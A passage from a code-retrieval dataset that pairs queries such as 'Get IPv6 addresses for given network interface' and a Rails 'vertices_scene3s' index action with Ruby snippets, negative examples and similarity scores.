"def ip_address; end",
"def ip_address; end"
] | [
"0.8555063",
"0.81882817",
"0.80670244",
"0.7752608",
"0.7602657",
"0.73816",
"0.73301166",
"0.73058283",
"0.7160127",
"0.710863",
"0.70996505",
"0.70757955",
"0.7054518",
"0.6985641",
"0.6961341",
"0.6921595",
"0.6913661",
"0.67933446",
"0.6764389",
"0.6755075",
"0.6745965",
"0.67374265",
"0.6722438",
"0.67146313",
"0.6703341",
"0.6685134",
"0.66201985",
"0.6596358",
"0.65878314",
"0.65790397",
"0.65747875",
"0.65489745",
"0.65335256",
"0.65022326",
"0.6498218",
"0.6472053",
"0.6461083",
"0.64577633",
"0.64568746",
"0.64504284",
"0.64343154",
"0.6422995",
"0.6412851",
"0.6384507",
"0.63832176",
"0.6367671",
"0.6360432",
"0.63595116",
"0.63592273",
"0.63456994",
"0.6344502",
"0.63444",
"0.6337175",
"0.63156164",
"0.6308227",
"0.63058484",
"0.62975997",
"0.62882537",
"0.62835145",
"0.6282109",
"0.62640923",
"0.6251567",
"0.62465465",
"0.62465465",
"0.6238782",
"0.623792",
"0.62347955",
"0.6231295",
"0.6213447",
"0.61947733",
"0.61709374",
"0.6164537",
"0.61553395",
"0.6150401",
"0.61402833",
"0.6138585",
"0.6112065",
"0.6106496",
"0.6087518",
"0.6075629",
"0.6073385",
"0.6069418",
"0.6068279",
"0.606274",
"0.60552883",
"0.6033675",
"0.6024637",
"0.602042",
"0.6019099",
"0.6005893",
"0.6003997",
"0.5997484",
"0.5997161",
"0.5991932",
"0.59870833",
"0.59827906",
"0.597425",
"0.59726757",
"0.59267884",
"0.59267884"
] | 0.7572638 | 5 |
Get IPv6 addresses for given network interface | def ip6addr(iface=nil)
@ip6addr[iface || default_iface]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ipv_6_address\n data[:ipv_6_address]\n end",
"def get_network_by_interface(interface)\n\n ifconfig = `ifconfig`.split(\"\\n\\n\").index_by{|x| x[/\\w+/,0]}\n inet = ifconfig[interface][/inet addr:([^\\s]*)/, 1].split('.')\n broadcast = ifconfig[interface][/Bcast:([^\\s]*)/, 1].split('.')\n mask = ifconfig[interface][/Mask:([^\\s]*)/, 1].split('.')\n\n start_first = inet[0].to_i & mask[0].to_i\n start_second = inet[1].to_i & mask[1].to_i\n start_third = inet[2].to_i & mask[2].to_i\n start_fourth = inet[3].to_i & mask[3].to_i\n\n first_range = start_first..broadcast[0].to_i\n second_range = start_second..broadcast[1].to_i\n third_range = start_third..broadcast[2].to_i\n fourth_range = start_fourth..broadcast[3].to_i\n \n @ips_to_check = []\n first_range.each do |first|\n second_range.each do |second|\n third_range.each do |third|\n fourth_range.each do |fourth|\n @ips_to_check << \"#{first}.#{second}.#{third}.#{fourth}\"\n end\n end\n end\n end\n puts \"Checking ips in (#{first_range}).(#{second_range}).(#{third_range}).(#{fourth_range})\"\n \n @ips_to_check\n end",
"def local_network_interfaces\n network_interfaces_inventory.nil? ? [] : network_interfaces_inventory.network_interfaces(:ipv6)\n end",
"def public_ipv6\n get('tools/public_ipv6.xml').body['ipv6']\n end",
"def ipv6_src=(i); typecast i; end",
"def ipv6_dst=(i); typecast i; end",
"def summ_IPv6Net(list)\n\t\tlist = Util.filter_IPv6Net(list)\n\t\tif (list.length>1)\n\t\t\tlist = Util.discard_subnets(list)\n\t\t\treturn Util.summ_peers(list)\n\t\tend\n\t\treturn [].concat(list)\n\tend",
"def ip_v6_cidr; end",
"def getInterfaces()\n # this actually resolves to the output of ifconfig, which we can then\n # scan for connections\n ifconfigOut = `ifconfig`\n\n @interfaces = Array.new\n\n arr = ifconfigOut.scan(/inet addr:([0-9]+.[0-9]+.[0-9]+.[0-9]+)/)\n arr.each { |ip| \n newIp = ip[0]\n if newIp !~ /127.0.0.1/\n @interfaces.push(newIp)\n end\n }\n end",
"def getNetwork(interface)\n net = Nokogiri::XML(\"#{interface}\").xpath(\"//ip\")\n if !net.empty?\n ip = net.attr('address').value\n netmask = net.attr('netmask').value\n end\n return ip, netmask\n end",
"def ipv6\n @ipv6.eql?(true) ? '--ipv6' : ''\n end",
"def to_6to4\n if @family == Socket::AF_INET\n IPAddr.new((0x2002 << 112) + (@addr << 80), Socket::AF_INET6).tap { |p| p.length = 48 }\n end\n end",
"def private_ip_addresses\n addresses = []\n if network_interfaces.respond_to? :map\n addresses = network_interfaces.map { |nic| nic[:network_ip] }\n end\n addresses\n end",
"def ipv6_src; self[:ipv6_src].to_i; end",
"def intface_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n p iface.netmask\n end\nend",
"def listen_addresses\n node['network']['interfaces'].map do |iface, data| \n data[\"addresses\"].select { |addr, data| data[\"family\"] == \"inet\" }.keys[0]\n end\nend",
"def ipv6_to_txt(ipv6)\n txt = \"\"\n for i in 0..15\n txt = (txt + (i == 0 || (i & 1) == 1 ? \"\" : \":\") + \"%02x\" %ipv6[i])\n end\n txt\nend",
"def get_ip_addresses\n sa = MainSettings.instance\n begin\n s = UDPSocket.new(Socket::AF_INET)\n s.connect(\"8.8.8.8\", 1)\n if (s.addr[0] == \"AF_INET\")\n @ipv4 = IPAddr.new(s.addr.last)\n end\n rescue SocketError => e\n $stderr.puts \"Unable to determine IPv4 address: #{e}\"\n rescue Errno::ENETUNREACH => e\n $stderr.puts \"Unable to determine IPv4 address: #{e}\"\n end\n puts \"Finished acquiring IPv4 address\" if $verbose\n\n# begin\n# s = UDPSocket.new(Socket::AF_INET6)\n# s.connect(\"2001:4860:b006::2\", 1)\n# if (s.addr[0] == \"AF_INET6\")\n# @ipv6 = IPAddr.new(s.addr.last)\n# end\n# rescue SocketError => e\n# $stderr.puts \"Unable to determine IPv6 address: #{e}\"\n# rescue Errno::ENETUNREACH => e\n# $stderr.puts \"Unable to determine IPv6 address: #{e}\"\n# end\n# puts \"Finished acquiring IPv6 address\" if $verbose\n end",
"def ipv6_hop=(i); typecast i; end",
"def ipv6_next=(i); typecast i; end",
"def ipv6?\n self.kind_of? IPAddress::IPv6\n end",
"def ipv6?\n self.kind_of? IPAddress::IPv6\n end",
"def ip_all\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n puts \"\\nName: : #{iface.name}\"\n puts \"Address: :' + #{iface.addr.ip_address}\"\n end\nend",
"def ipv6_len=(i); typecast i; end",
"def ipv6_next; self[:ipv6_next].to_i; end",
"def ipv6_v; self[:ipv6_v].to_i; end",
"def ip_by_interface(int)\n return `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n end",
"def ipv6_daddr\n\t\t\tself[:ipv6_dst].to_x\n\t\tend",
"def ip_by_interface(int)\n ip = `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n return ip\n end",
"def public_ip_addresses\n addresses = []\n if network_interfaces.respond_to? :flat_map\n addresses = network_interfaces.flat_map do |nic|\n if nic[:access_configs].respond_to? :each\n nic[:access_configs].select { |config| config[:name] == \"External NAT\" }\n .map { |config| config[:nat_ip] }\n else\n []\n end\n end\n end\n addresses\n end",
"def ipv6_dst; self[:ipv6_dst].to_i; end",
"def ipv6_hop; self[:ipv6_hop].to_i; end",
"def all_ips_for(vm)\n vm.guest.net.map(&:ipAddress).flatten\n end",
"def getIP(interface)\n cmd = `ip addr show #{interface}`\n ip = cmd.match(/inet ((\\d{1,3}\\.){3}\\d{1,3})\\/\\d{1,2}/).captures\n @log.debug \"IP of interface '#{interface}' is: #{ip.first}\"\n return ip.first\n end",
"def list_ips options={}\n if ip_version==6\n # Only list ips that have a resolutions\n AddressResolution.for_subnet(self).map &:ip\n else\n if range?\n ips = []\n if options[:include_network]\n ips << cidr.nth(0).to_s\n end\n (cidr.len - 2).times do |i|\n ips << cidr.nth(i + 1).to_s\n end\n if options[:include_gateway]\n ips << cidr.nth(cidr.len - 1).to_s\n end\n ips\n #cidr.to_a#.enumerate[1..-2]\n else\n [ip]\n end\n end\n end",
"def ipv6_class; self[:ipv6_class].to_i; end",
"def ipv6_interval\n config_get('bfd_global', 'ipv6_interval', @get_args)\n end",
"def get_interfaces\n @list = %x(/usr/sbin/networksetup -listallnetworkservices).split(\"\\n\").drop(1)\n end",
"def ipv6_v=(i); self[:ip_v] = i.to_i; end",
"def listIPs\n ips = []\n cloud_desc.network_interfaces.each { |iface|\n ips << iface.network_ip\n if iface.access_configs\n iface.access_configs.each { |acfg|\n ips << acfg.nat_ip if acfg.nat_ip\n }\n end\n }\n ips\n end",
"def server_ipv6\n ipv6_list = YAML::load_file(File.dirname(__FILE__) + '/whois/data/ipv6.yaml')\n server = server_with_hash(ipv6_list)\n unless server.kind_of? Server::Server\n raise WhoisException.new(\"no server found for this IPv6 : #{self.ip}\")\n else\n return server\n end\n end",
"def ipv6_saddr\n\t\t\tself[:ipv6_src].to_x\n\t\tend",
"def ipv6_len; self[:ipv6_len].to_i; end",
"def san_interfaces\n if san_nics.length == sans.length \n ports = san_network_ports().sort\n ips = san_nodes.map{|x| x.ip_address.to_s }.sort\n #return [] if ports.length != ips.length \n ports.zip(ips)\n else\n []\n end\n end",
"def find\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end",
"def ipv6?\n @family == Socket::AF_INET6\n end",
"def local_ips\n list = cmd(\"addr show dev #{name} primary\", sudo: false, errors: true) +\n cmd(\"addr show dev #{name} secondary\", sudo: false, errors: true)\n list.lines.grep(/inet ([0-9\\.]+)\\/.* #{name}/i){ $1 }\n rescue\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless exists?\n raise\n end",
"def CheckNetwork6(network)\n generic_check = CheckNetworkShared(network)\n if generic_check != nil\n return generic_check \n\n # 2001:db8:0::1\n elsif Check6(network)\n return true \n\n # 2001:db8:0::1/64\n elsif Builtins.regexpmatch(\n network,\n Ops.add(\n Ops.add(\n Ops.add(Ops.add(\"^[\", @ValidChars6), \"]+/[\"),\n Netmask.ValidChars6\n ),\n \"]+$\"\n )\n )\n net_parts = Builtins.splitstring(network, \"/\")\n return Check6(Ops.get(net_parts, 0, \"\")) &&\n Netmask.Check6(Ops.get(net_parts, 1, \"\")) \n\n # 2001:db8:0::1/ffff:ffff::0\n elsif Builtins.regexpmatch(\n network,\n Ops.add(\n Ops.add(Ops.add(Ops.add(\"^[\", @ValidChars6), \"]+/[\"), @ValidChars6),\n \"]+$\"\n )\n )\n net_parts = Builtins.splitstring(network, \"/\")\n return Check6(Ops.get(net_parts, 0, \"\")) &&\n Check6(Ops.get(net_parts, 1, \"\"))\n end\n\n false\n end",
"def ipv6_option\n @ipv6 ? '--ipv6' : ''\n end",
"def ipv6?\n @ipv6_header\n end",
"def ipv6_statistics\n super\n end",
"def ipv6_calc_sum_on_addr(cksum=0)\n checksum = cksum\n [ipv6_src, ipv6_dst].each do |iaddr|\n 8.times do |i|\n checksum += (iaddr >> (i * 16)) & 0xffff\n end\n end\n checksum\n end",
"def find_node_ip_in_network(network, nodeish = nil) # rubocop:disable MethodLength\n nodeish = node unless nodeish\n net = IPAddr.new(network)\n nodeish['network']['interfaces'].each do |iface, addrs|\n addrs['addresses'].each do |ip, params|\n if params['family'].eql?('inet6') && net.include?(ip)\n return \"[#{ip}]:6789\"\n elsif params['family'].eql?('inet') && net.include?(ip)\n return \"#{ip}:6789\"\n end\n end\n end\n nil\nend",
"def UndecorateIPv6(ip)\n if Builtins.regexpmatch(ip, \"^\\\\[.*\\\\]\") ||\n Builtins.regexpmatch(ip, \"^[^][%]+(%[^][%]+){0,1}$\")\n ip = Builtins.regexpsub(\n ip,\n \"^\\\\[?([^][%]+)(%[^][%]+){0,1}(\\\\]|$)\",\n \"\\\\1\"\n )\n end\n\n ip\n end",
"def ipv6_address?(addr)\n return true if addr =~ /:/\n return false\n end",
"def ipv6_label; self[:ipv6_label].to_i; end",
"def sort_IPv6Net(list)\n\t\tif ( !list.kind_of?(Array) )\n\t\t\traise ArgumentError, \"Expected an Array for 'list' but got a #{list.class}.\"\n\t\tend\n\t\tfiltered = Util.filter_IPv6Net(list)\n\t\treturn Util.quick_sort(filtered)\n\tend",
"def determine_ips\n ips = @info[:ip] = {private: [], public: []}\n\n ifc_cmd = \"/sbin/ifconfig|grep 'inet addr'|grep -v ':127'|sed -e \" \\\n \"'s/.*addr:\\([0-9.]*\\) .*/\\\\1/'\"\n ifconfig = @shell.query('IFCONFIG', ifc_cmd)\n\n ifconfig.each_line do |ip|\n ip.strip!\n ips[rfc1918?(ip)] << ip\n end\n end",
"def ip_names\n Socket.getifaddrs.map do |ifnames|\n next unless ifnames.addr.ipv4?\n\n puts \" #{ifnames.name}\"\n end\nend",
"def ipv6_class=(i); self[:ip_class] = i.to_i; end",
"def ip_addresses\n @entries.collect do |entry|\n entry.ip_address\n end.compact || []\n end",
"def getNeighboringIPs()\n @neighborIPs = Array.new\n \n @interfaces.each { |interface|\n # get IPs that are connected to this outgoing interface, and add them\n # to our list of neighbors\n connectedIPs = @allWeights.ipMap[interface].keys\n @neighborIPs.concat(connectedIPs)\n }\n end",
"def sort_IPv6(list)\n\t\tif ( !list.kind_of?(Array) )\n\t\t\traise ArgumentError, \"Expected an Array for 'list' but got a #{list.class}.\"\n\t\tend\n\t\tfiltered = Util.filter_IPv6(list)\n\t\treturn Util.quick_sort(filtered)\n\tend",
"def has_ipv6_ip_address?\n self.options[:ip].is_a?(String) && self.options[:ip].include?(':')\n end",
"def addr_iton(addr, v6=false)\n if(addr < 0x100000000 && !v6)\n return [addr].pack('N')\n else\n w = []\n w[0] = (addr >> 96) & 0xffffffff\n w[1] = (addr >> 64) & 0xffffffff\n w[2] = (addr >> 32) & 0xffffffff\n w[3] = addr & 0xffffffff\n return w.pack('N4')\n end\n end",
"def network_interfaces\n sans = san_network_ports\n n = clusters.map{|x| x.vlan}.sort\n if has_mgmt? then\n n << 4000\n end\n app = n.map{|x| \"vlan#{x}\"}\n app.concat(sans)\n end",
"def supernets()\n supernets = []\n @v4_root.tag[:Subnets].each {|x| supernets.push( NetAddr.cidr_build(x.version, x.to_i(:network), x.to_i(:netmask)) )}\n @v6_root.tag[:Subnets].each {|x| supernets.push( NetAddr.cidr_build(x.version, x.to_i(:network), x.to_i(:netmask)) )}\n return (supernets)\n end",
"def ipv6_label=(i); self[:ip_label] = i.to_i; end",
"def get_ip_address\n items = `ifconfig | grep \"inet addr\"`.split\n addresses = []\n items.each do |item|\n addresses << item if item =~ /addr:/\n end\n ip = \"\"\n addresses.each do |address|\n ip = address.split(':')[1]\n if ip != '127.0.0.1'\n break\n end\n end\n ip\nend",
"def ipv6=(new_value)\n Zsock.set_ipv6(@zocket, new_value ? 1 : 0)\n end",
"def ipv6_init (ip)\n @ip = IPAddr.new ip\n @server = server_ipv6\n end",
"def network_interface\n node = 'AWS_NETWORK_INTERFACE'\n q = []\n\n # network interface\n q.push(_upsert({ node: node, id: @name }))\n\n # vpc node and relationship\n if @data.vpc_id\n opts = {\n parent_node: node,\n parent_name: @name,\n child_node: 'AWS_VPC',\n child_name: @data.vpc_id,\n relationship: 'MEMBER_OF_VPC'\n }\n\n q.push(_upsert_and_link(opts))\n end\n\n # security_groups and relationship\n @data.groups.each do |sg|\n opts = {\n node: 'AWS_SECURITY_GROUP',\n id: sg.group_id,\n headless: true\n }\n\n q.push(_merge(opts))\n\n # network_interface -> security_group\n opts = {\n from_node: 'AWS_NETWORK_INTERFACE',\n from_name: @name,\n to_node: 'AWS_SECURITY_GROUP',\n to_name: sg.group_id,\n relationship: 'IN_SECURITY_GROUP',\n headless: true\n }\n q.push(_link(opts))\n end\n\n q\n end",
"def getNeighborToInterface() \n @neighborToInterface = Hash.new\n\n # match each neighbor IP to its outgoing interface\n @interfaces.each { |interface|\n @allWeights.collection.each { |weight|\n if (interface == weight.srcIp)\n @neighborToInterface[weight.dstIp] = interface\n end\n }\n }\n end",
"def ipv6_recalc(arg=:all)\n\t\t\tcase arg\n\t\t\twhen :ipv6_len\n\t\t\t\tipv6_calc_len\n\t\t\twhen :all\n\t\t\t\tipv6_recalc(:len)\n\t\t\tend\n\t\tend",
"def local_network_interfaces\n network_interfaces_inventory.nil? ? [] : network_interfaces_inventory.network_interfaces(:ipv4)\n end",
"def get_interfaces\n\t\trequest = Packet.create_request('stdapi_net_config_get_interfaces')\n\t\tifaces = []\n\n\t\tresponse = client.send_request(request)\n\n\t\tresponse.each(TLV_TYPE_NETWORK_INTERFACE) { |iface|\n\t\t\tifaces << Interface.new(\n\t\t\t\t\tiface.get_tlv_value(TLV_TYPE_IP),\n\t\t\t\t\tiface.get_tlv_value(TLV_TYPE_NETMASK),\n\t\t\t\t\tiface.get_tlv_value(TLV_TYPE_MAC_ADDRESS),\n\t\t\t\t\tiface.get_tlv_value(TLV_TYPE_MAC_NAME))\n\t\t}\n\n\t\treturn ifaces\n\tend",
"def read_network_interfaces\n end",
"def interface_by_ip(ip)\n return `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n end",
"def addresses network=nil\n if network\n data = on_network network\n ips = data.map { |v| (v.has_key? :ip) ? v[:ip] : nil }\n else\n vips.each_key.map { |k| vips[k][:ip] }\n end\n end",
"def process_ipv6_brackets(raw_host, brackets: T.unsafe(nil)); end",
"def network_interfaces\n netifcs = []\n procfs_file(\"net\", \"dev\") do |file|\n file.read.scan(NET_DATA) do |columns|\n type = case columns[0]\n when /^eth/ then NetworkInterface::ETHERNET_TYPE\n when /^lo/ then NetworkInterface::LOOPBACK_TYPE\n end\n\n netifcs << NetworkInterface.new(columns[0].to_sym, columns[1].to_i,\n columns[3].to_i, columns[4].to_i,\n columns[9].to_i, columns[11].to_i,\n type)\n end\n end\n netifcs\n end",
"def ipv6_calc_len\n\t\t\tself[:ipv6_len] = body.to_s.length\n\t\tend",
"def &(in_ip)\n raise RuntimeError, \"Can not compare IPV4 with IPV6!\" if @version != in_ip.version\n Ip.new(@ip_int & in_ip.to_i, @version)\n end",
"def network_interfaces\n @network_interfaces ||= init_network_interfaces\n end",
"def read_host_only_interfaces\n execute(\"list\", \"hostonlyifs\").split(\"\\n\\n\").collect do |block|\n info = {}\n\n block.split(\"\\n\").each do |line|\n if line =~ /^Name:\\s+(.+?)$/\n info[:name] = $1.to_s\n elsif line =~ /^IPAddress:\\s+(.+?)$/\n info[:ip] = $1.to_s\n elsif line =~ /^NetworkMask:\\s+(.+?)$/\n info[:netmask] = $1.to_s\n end\n end\n\n info\n end\n end",
"def local_network_interfaces\n network_interfaces_inventory.nil? ? [] : network_interfaces_inventory.network_interfaces(:all)\n end",
"def extract_cluster_ip(node_results)\n use_interface = node['postgresql-cluster']['use_interface']\n node_results['network_interfaces'][use_interface]['addresses']\n .select { |k,v| v['family'] == 'inet' }.keys\n end",
"def peer_list\n ip_list = []\n raw_peers.each_slice(6) { |e| ip_list << e if e.length == 6 }\n\n ip_list.map! { |e| { :ip => e[0..3].join('.'), :port => (e[4] * 256) + e[5] } }\n end",
"def bcast_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n output = iface.name + ':' + iface.inspect\n int = ('Address:' + ' ' + output.split[1] + ' ' + output.split[3..4].to_s)\n puts int.gsub('?', '0')\n end\nend",
"def ingress_interface\n list = config_get('itd_service', 'ingress_interface', @get_args)\n rlist = []\n list.each do |intf, next_hop|\n intf.gsub!('Eth', 'ethernet ')\n intf.gsub!('Po', 'port-channel ')\n intf.gsub!('Vlan', 'vlan ')\n next_hop = '' if next_hop.nil?\n rlist << [intf, next_hop]\n end\n rlist\n end",
"def get_public_ipv4\n # Socket.ip_address_list.detect{|intf| intf.ipv4? and !intf.ipv4_loopback? and !intf.ipv4_multicast? and intf.ipv4_private?}\n Socket.ip_address_list.detect{|intf| intf.ipv4_private?}\nend",
"def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend",
"def get_ip_address(type)\n network[:interfaces].each do |iface, info|\n next unless info['type'] == 'eth'\n info[:addresses].each do |addr, detail|\n next unless detail['family'] == 'inet'\n case type\n when :public_ip\n return addr if !is_private?(addr)\n when :private_ip\n return addr if is_private?(addr)\n end\n end\n end\n return nil\n end",
"def get_addresses\n return [get_pubkey_address] if is_pubkey?\n return [get_hash160_address] if is_hash160? || is_namecoin?\n return get_multisig_addresses if is_multisig?\n []\n end",
"def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end",
"def ips\n regex = /\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b/\n all_ips = Socket.ip_address_list.map(&:inspect_sockaddr)\n all_ips.select { |ip| !!ip.match(regex) }\n end",
"def extract_cluster_ip(node_results)\n use_interface = node['postgresql-bdr-cluster']['use_interface']\n node_results['network_interfaces'][use_interface]['addresses']\n .select { |k,v| v['family'] == 'inet' }.keys\nend",
"def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end",
"def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end",
"def private_ipaddresses\n # Create an array to hold the addresses\n addresses = []\n\n # Iterate around the filter that has been populated\n entries.each do |entry|\n entry.ip_configurations.each do |ip_config|\n addresses << ip_config['private_ipaddress']\n end\n end\n\n # return the array to the calling function\n addresses\n end"
] | [
"0.7116361",
"0.6938847",
"0.676212",
"0.6639546",
"0.6615338",
"0.65693766",
"0.6567787",
"0.6519293",
"0.64779574",
"0.6440461",
"0.6368515",
"0.6365575",
"0.634222",
"0.6330421",
"0.6313009",
"0.6286359",
"0.6276088",
"0.62156713",
"0.62151355",
"0.6155032",
"0.6131523",
"0.6131523",
"0.6120051",
"0.61157197",
"0.60763586",
"0.60603505",
"0.6053395",
"0.60016894",
"0.5989988",
"0.598692",
"0.59855855",
"0.59796894",
"0.5975916",
"0.58955085",
"0.58942616",
"0.5881041",
"0.58798057",
"0.58672637",
"0.5847556",
"0.5822452",
"0.5798343",
"0.57911897",
"0.5783195",
"0.5781928",
"0.5763346",
"0.57510054",
"0.5746175",
"0.5733121",
"0.5731217",
"0.57029766",
"0.5696984",
"0.5680771",
"0.5638199",
"0.5633103",
"0.56236774",
"0.56230456",
"0.561833",
"0.5609761",
"0.56092614",
"0.56020695",
"0.55849975",
"0.5566056",
"0.55659646",
"0.55452836",
"0.5528149",
"0.5488915",
"0.548822",
"0.5476487",
"0.54595697",
"0.5458939",
"0.54399794",
"0.5437216",
"0.54130054",
"0.5357426",
"0.5337588",
"0.5331936",
"0.5327656",
"0.5325692",
"0.53105026",
"0.5304706",
"0.52885187",
"0.52703166",
"0.52625805",
"0.5257525",
"0.5256958",
"0.52568734",
"0.5256753",
"0.5255211",
"0.5254868",
"0.525467",
"0.52542704",
"0.52366585",
"0.52350765",
"0.5213046",
"0.5207639",
"0.5201851",
"0.5193354",
"0.5191676",
"0.5189484",
"0.5182143"
] | 0.732161 | 0 |
GET /vertices_scene3s GET /vertices_scene3s.json | def index
@vertices_scene3s = VerticesScene3.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_vertices_scene3\n @vertices_scene3 = VerticesScene3.find(params[:id])\n end",
"def index\n @position_scene3s = PositionScene3.all\n end",
"def index\n @vertices_scene1s = VerticesScene1.all\n end",
"def vertices_scene3_params\n params.require(:vertices_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def destroy\n @vertices_scene3.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene3s_url, notice: 'Vertices scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @vertices_scene3 = VerticesScene3.new(vertices_scene3_params)\n\n respond_to do |format|\n if @vertices_scene3.save\n format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene3 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @vertices_scene2s = VerticesScene2.all\n end",
"def update\n respond_to do |format|\n if @vertices_scene3.update(vertices_scene3_params)\n format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @scene_objects = SceneObject.all\n end",
"def set_vertices_scene1\n @vertices_scene1 = VerticesScene1.find(params[:id])\n end",
"def index\n @id3s = Id3.all\n end",
"def vertices_scene1_params\n params.require(:vertices_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def index\n @user3s = User3.all\n end",
"def destroy\n @vertices_scene1.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene1s_url, notice: 'Vertices scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def vertices\n @vertices\n end",
"def position_scene3_params\n params.require(:position_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def set_vertices_scene2\n @vertices_scene2 = VerticesScene2.find(params[:id])\n end",
"def index\n @vertices = Vertex.all\n\n respond_with(@vertices)\n end",
"def create\n @vertices_scene1 = VerticesScene1.new(vertices_scene1_params)\n\n respond_to do |format|\n if @vertices_scene1.save\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene1 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_vertices\n @vertices.keys\n end",
"def index\n @title3s = Title3.all\n end",
"def vertices\n [\n @origin,\n { x: x_max, y: y_min, z: z_min },\n { x: x_min, y: y_max, z: z_min },\n { x: x_min, y: y_min, z: z_max },\n { x: x_max, y: y_max, z: z_min },\n { x: x_max, y: y_min, z: z_max },\n { x: x_min, y: y_max, z: z_max },\n { x: x_max, y: y_max, z: z_max }\n ]\n end",
"def destroy\n @vertices_scene2.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene2s_url, notice: 'Vertices scene2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def vertices\n @vertices\n end",
"def regions\n @regions = Region.all\n\n render json: @regions.to_json(:include => :vertices)\n end",
"def index\n @scene_connectors = SceneConnector.includes(:scene_from, :scene_to).all\n end",
"def destroy\n @position_scene3.destroy\n respond_to do |format|\n format.html { redirect_to position_scene3s_url, notice: 'Position scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @advert3s = Advert3.all\n end",
"def index\n @cp3s = Cp3.all\n end",
"def index\n @baz3s = Baz3.all\n end",
"def scenes\n Scene.find( \n :all,\n :select => 's.*',\n :from => 'scenes s, episodes e, locations l',\n :conditions => [\"s.episode_id = e.id and s.id = l.scene_id and l.place_id = ?\", self],\n :order => 'e.tx_date, e.position, s.segment_position'\n )\n end",
"def index\n @space_scenes = SpaceScene.all\n end",
"def list_vertices\n\t\treturn @Vertices\n\tend",
"def index\n @spheres = Sphere.all\n end",
"def index\n @s3images = S3image.all\n\n end",
"def mesh_vertices\r\n # private ?\r\n d = TT::Instance.definition( @instance )\r\n transformation = @instance.model.edit_transform\r\n points = mesh_points( final_subdivs, transformation )\r\n vertices = raw_mesh_vertices()\r\n\r\n # <debug>\r\n unless points.size == vertices.size\r\n Console.log( 'mesh_vertices' )\r\n Console.log( \"> Points: #{points.size}\" )\r\n Console.log( \"> Vertices: #{vertices.size}\" )\r\n end\r\n # </debug>\r\n\r\n patch_vertices = []\r\n for point in points\r\n vertex = vertices.find { |v| v.position == point } # (!) Optimize\r\n patch_vertices << vertex\r\n vertices.delete( vertex )\r\n end\r\n patch_vertices\r\n end",
"def vertices\n end",
"def vertices\n end",
"def update\n respond_to do |format|\n if @vertices_scene1.update(vertices_scene1_params)\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices\n @vertices.keys\n end",
"def show\n if authorise(request)\n req = GetVerticesRequest.new(params[:id])\n serv = RoomServices.new\n res = serv.get_vertices(req)\n render json: { success: res.success, message: res.message, data: res.data }, status: :ok\n else\n render json: { success: 'FAILED', message: 'Unauthorized', data: nil }, status: 401\n end\n end",
